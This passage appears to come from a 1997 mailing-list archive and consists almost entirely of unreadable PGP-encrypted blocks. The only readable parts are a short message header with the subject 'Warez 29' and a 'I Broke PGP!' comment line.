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
LzFVWA4uSJr3bEVkJLIy8307WDldaQXWBpmY
=5PHO
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 04:18:10 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 20:18:10 +0800
Subject: Warez 29
Message-ID: <199712181209.EAA17861@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7F1FuutluC+5PVv/F/APtbaCEVY6RjEttpkTSKQmjyhzbHSF
fmX3tQT0GRZIUr1p0IXw9WUrw0uyLXd59l0F60tbFYi5BMa6MEaG/WWUW+b/GKEy
+eoI2LS0sdzZiHgtHBkctxygyKMOOJkq4hMdLkMk0bkk+wQWsXVGE73/rwBHCFxW
umEbXTABb65/qS+no8dggERIqJZk5ByOm2BIZWp3otD9Y1x08oe2Z2k5GTWIK2Kp
s7aTspAtGLqLqqMntzJciY0RULUkVrQ6dIdotbZz8ahkYNd/G1kJgpuyoedzd0C8
irbfVKNhLf9Fy30DLbN1ToqbXtvnq+/LQsYCxvY89vChQ9GB9r5nFVD1kwJw2k8y
kqu8kNjjJFZiOcAuPOVwfKvK4pfY2/nsKE3KPDFxxqamVKdBQcTwhXRYNoqRT3Q7
SA0v48iSahPa8FFVGHFoDJEqM3bYY32Vkp6xvQ8VF1DzQ3fK4WxPRzL/Mgm6+mi7
AYqIUJBqOqc3Psz3uV3oqHtWPyqrwKUV/SYD64VdJheEfn9/chbe6hoCaNABS0tM
CNKpLmCMvfZwP1YJHzHUJW9165MhdtCZFweDr/jgCCurlfpbnDGY0nVSMnDpz25Y
spultUX00Rhy7i2WRi7Vl/IW7IPKEJkI/Ihm59zAtRjrQQp5w5gnsOUFBXInguxZ
PfCwf58eacXip17pCKMZz1OQaaMYd4FN+gvJUEXDgY1XH//rPu0mSwqRqTZLtp4J
8OgV0Xdp4XaMBtwSXcsGkKRspydUQXqGX15ulj7xkpAcb3Gjk0Xkc+mfrVDpaubi
dh9xjpq6gwRTWYiZM/1ngLYxItCYWkzGJi+Bl+1+plhpVm02IBVppITgLiSu/J5J
sxzVgUQTjDQUrpvtQC9ritOwsFccR7iZglR52uelLNT4ukDLkt+AnQiGvqaKlv4J
JBAc8bcAZlMaHbDWhx6aqL/xdUkE1NMSUVb8zJkzoxXeHGbJ6H4jP/PgykvLd0t/
4xb2fm3p9Hn/A9U3rajnVVbGaZMyvNbkQ8HQz/61Z6hXrvazg2gy3mxq2jlkx+Ml
mPAXHVsQfbC8suwfbZnCsKysND/A5fBlAdW+KBp0jxfQ1jgT1tnPrBy2/jyhR5KP
rzAlcZX3gZzEMJGcUxOpxCR3i8/G43DRsz5vf5dauO3GUowU187nelZjNyh5nC0g
2ZcQHWnUi7AyULEfV1lwugkPDUW/SiM4fEuS9RIeAGb2GAyOWE8x4BaD8/1nur4D
nRrXKK84LNvc9Oa2VJfgDdljf+9dRGPDSui89xGKDtrTe9tM10R2d9XgObYjQKjI
1/CTWYwo8BqYnxTxtWZHCajy3xKHC3CMFj4bPY6GwiONfjNe3nBq0MEA55/In+Pw
9Sl+RJUQlpfKRqGkOXjIVjuY5+LgXNoyFsOkvrtXQlRAnfeF9JF2T8jRO+A1Ryf8
PVJfVvEMRrPAaG66/KHeOo/ndzV+GDLJmir2q8pKPkxrYc1WFMFAQ/KOb3/0EheA
DZMnldHm1vXl0L051bxH9KeFzU5VdGQgeFgj35vXWcRpskQw215JQxVQFbAm5aVi
s1n9Wd24v1O+hNEs5KBVT+/9Z4yWHxLT6soLX1npBDKDJTGPdd3yEkyRlH2q/C1Y
wAGwybO0q1Yoq4pytz2cBnNrawb1gtVEHy8ejBSo+RSqOVKTkUF4dpH1uUxyaizv
zXXS0DS2BJms5qb8WvnGcYHxDE41se4CIio9vszJd7HShHhtA/ZLwdC2WKUX9tJS
RDnAlA8zWgnfdHyubTfGVW3xDrD6kTklKdKcsUzxyADhnNh7Zy3GeGp1FEOQxmCY
cZSQ5YkvwbZSJ9lqC2UEfmwQRSLW2QWTyFs/OHAkcqTLt6mA83vm9X5Djn6cFt+V
FyG3P0nVgis7vNzROlrWGeQeytj6Q6pOhmeF5nhnP6HmfRP+7oPgtmzi5Ux06nK8
T3OVXoxVAmcqoWG9VUDtwkWiG+1y3ng1jLw+uHDvkBD5f9XvCIHipZq6G9Ak7BbP
